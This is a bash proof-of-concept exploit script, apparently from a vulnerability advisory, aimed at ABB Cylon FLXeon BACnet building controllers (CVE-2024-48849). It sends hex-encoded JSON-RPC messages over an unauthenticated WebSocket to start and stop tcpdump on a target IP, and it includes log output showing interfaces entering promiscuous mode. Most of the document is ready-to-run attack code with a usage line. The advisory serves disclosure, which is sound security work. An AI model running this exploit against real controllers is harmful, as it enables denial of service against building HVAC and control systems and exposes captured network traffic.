ABB Cylon FLXeon 9.3.4 wsConnect.js WebSocket Command Spawning

#!/bin/bash
    <<EOC
    
    
    ABB Cylon FLXeon 9.3.4 (wsConnect.js) WebSocket Command Spawning PoC
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb                   
    Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                      CBX Series (FLX Series)
                      CBT Series
                      CBV Series
                      Firmware: <=9.3.4
    
    Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
    series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
    building management solutions. ABB BACnet controllers are designed for intelligent
    control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    heat pump systems, air handling units (constant volume, variable air volume, and
    multi-zone), rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    connectivity and open integration for your building automation systems. It's scalable,
    and modular, allowing you to control a diverse range of HVAC functions.
    
    Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to an unauthenticated
    WebSocket implementation that allows an attacker to execute the tcpdump command.
    This command captures network traffic and filters it on serial ports 4855 and 4851,
    which are relevant to the device's services. The vulnerability can be exploited in
    a loop to start multiple instances of tcpdump, leading to resource exhaustion, denial
    of service (DoS) conditions, and potential data exfiltration. The lack of authentication
    on the WebSocket interface allows unauthorized users to continuously spawn new tcpdump
    processes, amplifying the attack's impact.
    
    Tested on: Linux Kernel 5.4.27
               Linux Kernel 4.15.13
               NodeJS/8.4.0
               Express
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5913
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5913.php
    CVE ID: CVE-2024-48849
    CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48849
    
    
    21.04.2024
    
    EOC
    
    cat << "EOF"
    
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    ░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
    ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
             ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
             ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
    EOF
    echo -ne "\n-------------------------------------------------------"
    echo -ne "\nABB Cylon BACnet Building Controllers WebSocket Exploit"
    echo -ne "\n-------------------------------------------------------\n"
    if [ "$#" -ne 1 ]; then
    	echo -ne "\nUsage: $0 [ipaddr]\n\n"
    	exit
    fi
    IP=$1
    TARGET="wss://$IP:443/ws"
    PID=$!
    echo "$PID"
    
    STOP_SERVICE=`echo -e \
    "\x7B\x22\x74\x61\x72\x67\x65\x74\x22\x3A\x22\x74\x63"\
    "\x70\x64\x75\x6D\x70\x22\x2C\x22\x6D\x65\x74\x68\x6F"\
    "\x64\x22\x3A\x22\x73\x74\x6F\x70\x22\x2C\x22\x70\x61"\
    "\x72\x61\x6D\x73\x22\x3A\x7B\x22\x74\x79\x70\x65\x22"\
    "\x3A\x22\x73\x6D\x61\x72\x74\x52\x6F\x75\x74\x65\x72"\
    "\x22\x2C\x22\x6D\x69\x6E\x75\x74\x65\x73\x22\x3A\x31"\
    "\x2C\x22\x73\x69\x7A\x65\x4B\x62\x22\x3A\x31\x30\x7D"\
    "\x7D"`               #stop tcpdump smartRouter capture
    
    START_SERVICE=`echo -e \
    "\x7B\x22\x74\x61\x72\x67\x65\x74\x22\x3A\x22\x74\x63"\
    "\x70\x64\x75\x6D\x70\x22\x2C\x22\x6D\x65\x74\x68\x6F"\
    "\x64\x22\x3A\x22\x73\x74\x61\x72\x74\x22\x2C\x22\x70"\
    "\x61\x72\x61\x6D\x73\x22\x3A\x7B\x22\x74\x79\x70\x65"\
    "\x22\x3A\x22\x73\x6D\x61\x72\x74\x52\x6F\x75\x74\x65"\
    "\x72\x22\x2C\x22\x6D\x69\x6E\x75\x74\x65\x73\x22\x3A"\
    "\x31\x2C\x22\x73\x69\x7A\x65\x4B\x62\x22\x3A\x31\x30"\
    "\x7D\x7D"`          #start tcpdump smartRouter capture
    
    echo -e "\n[+] Sending JSONRPC => $START_SERVICE\n"
    sleep 1
    echo "$START_SERVICE"|
    websocat --insecure --one-message --buffer-size 251 --no-close "$TARGET" -v
    sleep 2
    echo -e "\n[+] Sending JSONRPC => $STOP_SERVICE\n"
    sleep 1
    echo "$STOP_SERVICE"|
    websocat -k -1 -B 251 -n "$TARGET" -v
    echo -e "\n[*] Done"
    
    << "LOG"
    $ cd /usr/local/aam/var; journalctl -r --no-hostname --no-pager >log.txt; split -n 4 log.txt
    $ cat /usr/local/aam/var/xaa
    $ cat /usr/local/aam/var/xab
    $ cat /usr/local/aam/var/xac
    $ cat /usr/local/aam/var/xad
    ...
    #Apr 21 23:12:51 kernel: device lo left promiscuous mode
    #Apr 21 23:12:34 kernel: device lo entered promiscuous mode
    #Apr 21 23:12:34 node[196]: ws connect
    ...
    LOG